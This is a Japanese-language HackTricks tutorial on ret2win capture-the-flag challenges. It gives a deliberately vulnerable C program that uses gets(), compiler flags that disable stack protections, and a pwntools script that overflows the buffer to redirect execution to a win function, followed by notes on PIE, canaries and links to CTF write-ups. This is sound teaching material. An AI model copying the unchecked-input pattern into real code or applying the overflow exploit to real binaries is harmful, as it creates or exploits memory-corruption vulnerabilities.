# Ret2win {{#include ../../../banners/hacktricks-training.md}} ## 基本情報 **Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、特定の未呼び出しの関数をバイナリ内で実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。 ### Cの例 脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう: ```c #include #include void win() { printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { char buf[64]; gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { vulnerable_function(); return 0; } ``` このプログラムをスタック保護なしで、かつ**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: プログラムを32ビットバイナリとしてコンパイルします(これはオプションですが、CTFチャレンジでは一般的です)。 - `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。 - `-z execstack`: スタック上でのコードの実行を許可します。 - `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします。 - `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。 ### Python Exploit using Pwntools エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークである**pwntools**を使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスを`win`関数のアドレスで上書きするペイロードを作成します。 ```python from pwn import * # Set up the process and context for the binary binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path # Find the address of the win function win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary # Create the payload # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. payload = b'A' * 68 + win_addr # Send the payload p.sendline(payload) p.interactive() ``` `win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して、次のようにできます: ```sh objdump -d vulnerable | grep win ``` このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。 ## 保護 - [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべきです**。そうしないと、実行ごとにアドレスが信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。 - [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。 ## その他の例と参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32ビット、ASLRなし - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - ASLRありの64ビット、バイナリアドレスのリークあり - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64ビット、ASLRなし - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数(ret2win)で上書きするフォーマット文字列 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64、PIE、`win` 関数は実際には 2 つの関数であるため、2 つの関数を呼び出す ROP ガジェット - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - ARM64、オフバイワンで `win` 関数を呼び出す ## ARM64 の例 {{#ref}} ret2win-arm64.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}